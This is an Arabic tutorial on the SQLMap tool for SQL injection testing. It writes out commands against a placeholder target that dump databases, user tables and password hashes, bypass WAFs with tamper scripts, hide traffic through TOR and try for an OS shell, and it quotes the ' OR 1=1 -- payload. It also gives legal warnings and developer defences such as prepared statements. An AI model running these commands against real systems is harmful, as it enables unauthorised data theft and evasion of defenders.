SQLMap: حين تصبح قاعدة البيانات
مفتوحةً كالكتاب أمام المختبر المحترف
دليل تقني شامل يأخذك من فهم خطورة ثغرات SQL Injection إلى إتقان أقوى أداة أتمتة لاكتشافها واستغلالها — مع التركيز على الاستخدام الأخلاقي وحماية أنظمتك.
01 //خطر يسكن في سطر واحد من الكود
تخيّل أنك تمتلك خزنة حديدية تحتوي على كل أسرار شركتك — بيانات عملائك، معاملاتك المالية، كلمات مرور موظفيك. الآن تخيّل أن هناك ثغرة صغيرة في جدار تلك الخزنة لا يراها إلا من يعرف أين يبحث. هكذا بالضبط تعمل ثغرات SQL Injection.
منذ أن وضعت منظمة OWASP ثغرات الحقن (Injection) في رأس قائمة أخطر عشر ثغرات ويب لسنوات متتالية، والمطورون يتساءلون: كيف يصل المهاجم إلى قاعدة بياناتي؟ الإجابة مؤلمة في بساطتها — أحياناً يكفي سطر واحد مثل ' OR 1=1 -- يُكتب في حقل البحث لينهار كل شيء.
لكن قبل أن يجد المهاجم تلك الثغرة، يجب أن يجدها أنت أولاً. وهنا يدخل المشهد بطل هذا المقال: SQLMap — الأداة التي تحوّل عملية اكتشاف ثغرات SQL Injection من مهمة تستغرق أياماً إلى بضع دقائق من الأتمتة الذكية.
وفقاً لتقارير أمن المعلومات، تُعدّ ثغرات SQL Injection مسؤولة عن أكثر من 65% من هجمات اختراق قواعد البيانات حول العالم — وكثير منها يستغل ثغرات كانت معروفة منذ سنوات ولم تُعالَج.
02 //ما هي SQLMap؟ الأداة رقم واحد عالمياً
SQLMap هي أداة مفتوحة المصدر (Open Source) مكتوبة بلغة Python، مُصممة لأتمتة عملية اكتشاف واستغلال ثغرات SQL Injection في تطبيقات الويب وقواعد البيانات. أُطلقت في عام 2006 على يد الباحثَين الأمنيَّين Daniele Bellucci و Bernardo Damele، وما زالت تُطوَّر بنشاط حتى اليوم.
ما يجعل SQLMap استثنائية ليس فقط قدرتها على اكتشاف الثغرات تلقائياً، بل قدرتها على الذهاب أبعد من ذلك: استخراج قواعد البيانات، الجداول، الأعمدة، والبيانات الحساسة — بل وصولاً إلى الحصول على صلاحيات shell على الخادم في حالات معينة.
تدعم الأداة طيفاً واسعاً من أنظمة قواعد البيانات تشمل: MySQL، PostgreSQL، Oracle، Microsoft SQL Server، SQLite، Sybase، SAP MaxDB، وغيرها. وهي مُضمَّنة بشكل افتراضي في توزيعات الأمن السيبراني مثل Kali Linux و Parrot OS.
SQLMap تجمع بين ستة أساليب مختلفة للاستغلال، ودعم عشرات قواعد البيانات، وواجهة سطر أوامر مرنة، وقاعدة مجتمع ضخمة — كل ذلك في أداة واحدة مجانية ومفتوحة المصدر.
03 //آلية العمل: كيف تفكر SQLMap؟
لفهم SQLMap، يجب أن تتخيّل كيف يفكر مختبر اختراق بشري عند فحصه لنقطة إدخال (Input Point) في موقع ويب. يبدأ بطرح أسئلة: هل يُعيد الخادم رسائل خطأ؟ هل يتغير وقت الاستجابة بتغيير البيانات؟ هل يمكن دمج استعلام آخر مع الأصلي؟ SQLMap تطرح هذه الأسئلة كلها في آنٍ واحد، تلقائياً وبسرعة مذهلة.
تعتمد الأداة على خمسة أساليب رئيسية للكشف والاستغلال:
تبدأ SQLMap بمرحلة الاستكشاف (Detection Phase) حيث تحدد ما إذا كانت نقطة الإدخال قابلة للحقن، ثم تنتقل إلى مرحلة الاستغلال (Exploitation Phase) حيث تستخرج البيانات باستخدام الأسلوب الأنجح. كل هذا بدون تدخل بشري.
04 //التثبيت والإعداد
على Kali Linux (مثبتة مسبقاً)
SQLMap جزء من Arsenal الافتراضي لـ Kali Linux. للتحقق وتحديث الأداة:
# التحقق من الإصدار
sqlmap --version
# تحديث الأداة إلى أحدث إصدار
sqlmap --update
# أو عبر git
cd /opt/sqlmap
git pull
التثبيت من المصدر (أنظمة أخرى)
# متطلب أساسي: Python 3.x
python3 --version
# استنساخ المستودع الرسمي
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
# تشغيل مباشر
python3 sqlmap.py --help
قبل البدء، تدرّب على بيئات مصممة خصيصاً لذلك مثل DVWA (Damn Vulnerable Web App) أو HackTheBox أو TryHackMe — لا تُجرّب أبداً على مواقع حقيقية دون إذن.
05 //الدليل العملي: الأوامر الأساسية
الفحص الأولي: هل الموقع قابل للحقن؟
الخطوة الأولى دائماً هي تحديد ما إذا كانت نقطة الإدخال المستهدفة ضعيفة:
# فحص URL يحتوي على معامل GET
sqlmap -u "http://target.com/page.php?id=1"
# فحص مع مستوى تفصيل عالٍ (Verbose)
sqlmap -u "http://target.com/page.php?id=1" -v 3
# الموافقة التلقائية على جميع الأسئلة (batch mode)
sqlmap -u "http://target.com/page.php?id=1" --batch
استخراج قائمة قواعد البيانات
# عرض جميع قواعد البيانات المتاحة
sqlmap -u "http://target.com/page.php?id=1" --dbs
# مثال على الناتج المتوقع:
[*] available databases [3]:
[*] information_schema
[*] shop_db
[*] users_db
استخراج الجداول من قاعدة بيانات محددة
# استخراج جداول قاعدة بيانات محددة
sqlmap -u "http://target.com/page.php?id=1" \
-D shop_db \
--tables
# استخراج الأعمدة من جدول محدد
sqlmap -u "http://target.com/page.php?id=1" \
-D shop_db \
-T users \
--columns
استخراج البيانات الفعلية من جدول
# تفريغ (Dump) محتوى جدول كامل
sqlmap -u "http://target.com/page.php?id=1" \
-D shop_db \
-T users \
--dump
# تفريغ أعمدة محددة فقط (أسرع وأدق)
sqlmap -u "http://target.com/page.php?id=1" \
-D shop_db \
-T users \
-C username,password,email \
--dump
استخراج مستخدمي قاعدة البيانات وكلمات مرورهم
# استخراج مستخدمي قاعدة البيانات
sqlmap -u "http://target.com/page.php?id=1" --users
# استخراج هاشات كلمات المرور (مع محاولة كسرها)
sqlmap -u "http://target.com/page.php?id=1" --passwords
# التحقق من صلاحيات DBA (Database Administrator)
sqlmap -u "http://target.com/page.php?id=1" --is-dba
06 //الأوامر المتقدمة: مستوى المحترفين
فحص طلبات POST (نماذج تسجيل الدخول)
أغلب التطبيقات تستخدم POST لإرسال البيانات. SQLMap تتعامل معها بسهولة:
# فحص بيانات POST مباشرة
sqlmap -u "http://target.com/login.php" \
--data "username=admin&password=test" \
-p username
# استخدام ملف طلب HTTP محفوظ من Burp Suite
sqlmap -r request.txt --batch
التحايل على جدران الحماية (WAF Bypass)
# استخدام Tamper Scripts للتحايل على الفلاتر
sqlmap -u "http://target.com/page.php?id=1" \
--tamper=space2comment,randomcase,between
# تغيير User-Agent لتجنب الكشف
sqlmap -u "http://target.com/page.php?id=1" \
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
# التوجيه عبر TOR للتخفي
sqlmap -u "http://target.com/page.php?id=1" \
--tor --tor-type=SOCKS5
الفحص مع Cookies (جلسات المستخدم)
# إرسال Cookies مع الطلب (للصفحات التي تتطلب تسجيل دخول)
sqlmap -u "http://target.com/profile.php?id=5" \
--cookie="PHPSESSID=abc123xyz; user=admin"
# استهداف معامل محدد في الـ Cookie
sqlmap -u "http://target.com/dashboard.php" \
--cookie="user_id=3" \
-p user_id
حفظ نتائج الفحص (للتقارير الاحترافية)
# تحديد مجلد لحفظ كل نتائج الفحص
sqlmap -u "http://target.com/page.php?id=1" \
--output-dir=/home/kali/reports/target/ \
--dbs --batch
# زيادة الخيوط لتسريع الفحص
sqlmap -u "http://target.com/page.php?id=1" \
--threads=5 \
--dbs
جدول مرجعي سريع لأهم الخيارات
| الخيار | الوظيفة | المستوى |
|---|---|---|
-u "URL" |
تحديد الهدف (URL مع معاملات GET) | أساسي |
--dbs |
استعراض جميع قواعد البيانات | أساسي |
-D db --tables |
استعراض جداول قاعدة بيانات محددة | أساسي |
-D db -T tbl --dump |
تفريغ محتوى جدول كامل | متوسط |
--data "POST data" |
فحص بيانات POST | متوسط |
-r request.txt |
استخدام ملف Burp Suite Request | متوسط |
--tamper=script |
تطبيق نصوص التحايل على WAF | متقدم |
--tor |
توجيه الحركة عبر شبكة TOR | متقدم |
--os-shell |
محاولة الحصول على Shell على الخادم | متقدم |
--batch |
الموافقة التلقائية على كل الأسئلة | أساسي |
07 //الأخلاقيات والإطار القانوني: الخط الأحمر
استخدام SQLMap أو أي أداة اختراق على أنظمة لا تملك إذناً صريحاً وموثقاً بالوصول إليها يُعدّ جريمة إلكترونية في معظم دول العالم، وقد يُفضي إلى عقوبات سجن وغرامات مالية ضخمة. هذا المقال للأغراض التعليمية البحثية فقط.
في مجال الأمن السيبراني، الحد الفاصل بين الهاكر الأخلاقي (White Hat) والمجرم الإلكتروني ليس الأداة التي يستخدمها — فكلاهما يستخدم نفس الأدوات — بل هو الإذن والنية والسياق.
مختبر الاختراق الاحترافي يعمل دائماً ضمن إطار عقد موقّع يُحدد نطاق الاختبار (Scope)، والأنظمة المسموح باختبارها، والمدة الزمنية، وآلية الإبلاغ عن الثغرات. هذا ما يُسمى Penetration Testing Agreement أو Rules of Engagement (RoE).
احصل على إذن كتابي وموقّع من مالك النظام. حدّد نطاق الاختبار بدقة. وثّق كل خطوة تقوم بها. أبلغ عن الثغرات فوراً ولا تستغلها لأغراض شخصية. هذه هي أخلاقيات الـ White Hat Hacking.
إذا كنت تريد تطوير مهاراتك بشكل قانوني وآمن، فالبيئات التدريبية مفتوحة أمامك: HackTheBox، TryHackMe، VulnHub، DVWA — كلها منصات صُمّمت لتكون ميدان تدريب شرعي للمختبرين.
08 //للمطورين: كيف تُحصّن موقعك؟
بعد أن رأيت كيف تعمل SQLMap، سيتضح لك أن الحماية لا تتعلق بإخفاء الثغرة — بل بإزالتها من الجذور. إليك أهم ست نقاط يجب أن تُطبّقها في أي مشروع ويب:
-
استخدم Prepared Statements دائماً
هذا هو الحل الجذري الأول. بدلاً من بناء الاستعلامات بتسلسل النصوص (
"SELECT * FROM users WHERE id = " + id)، استخدم Parameterized Queries التي تُعامل مدخلات المستخدم كبيانات وليس كجزء من الكود. -
طبّق مبدأ الصلاحية الدنيا (Least Privilege)
مستخدم قاعدة البيانات الذي يستخدمه تطبيقك يجب أن يملك الحد الأدنى من الصلاحيات — قراءة وكتابة فقط على الجداول التي يحتاجها، لا صلاحيات DROP أو CREATE أو الوصول لقواعد بيانات أخرى.
-
أخفِ رسائل الأخطاء عن المستخدمين
رسائل الخطأ التفصيلية من قاعدة البيانات هي كنز للمهاجمين. في بيئة الإنتاج (Production)، وجّه الأخطاء إلى ملفات السجل (Logs) بدلاً من إظهارها للمستخدم.
-
ثبّت جدار حماية تطبيقات الويب (WAF)
WAF مثل ModSecurity أو Cloudflare WAF يُضيف طبقة دفاع إضافية تُصفّي الطلبات المشبوهة قبل أن تصل إلى تطبيقك — لكن لا تعتمد عليها وحدها.
-
اختبر موقعك بنفسك بانتظام
استخدم SQLMap على موقعك الخاص ربع سنوياً على الأقل، أو ضمّن اختبار الاختراق في دورة تطوير برمجياتك (SDLC). ما تجده أنت اليوم لن يجده المهاجم غداً.
-
حدّث مكتباتك وأُطر عملك باستمرار
ثغرات SQL Injection لا تأتي فقط من كودك المكتوب يدوياً — قد تكون مُخبّأة في مكتبة قديمة أو ORM غير محدَّث. راقب CVEs المتعلقة بتقنيات مشروعك.
🔐 الأمن مسؤولية، لا مجرد مهارة
SQLMap أداة قوية — لكن قوّتها الحقيقية تكمن في يد من يستخدمها لبناء أنظمة أكثر أماناً. هل جربت الأداة في بيئة تدريبية؟ شاركنا تجربتك في التعليقات، وانشر المقال مع كل مهتم بأمن المعلومات واختبار الاختراق!
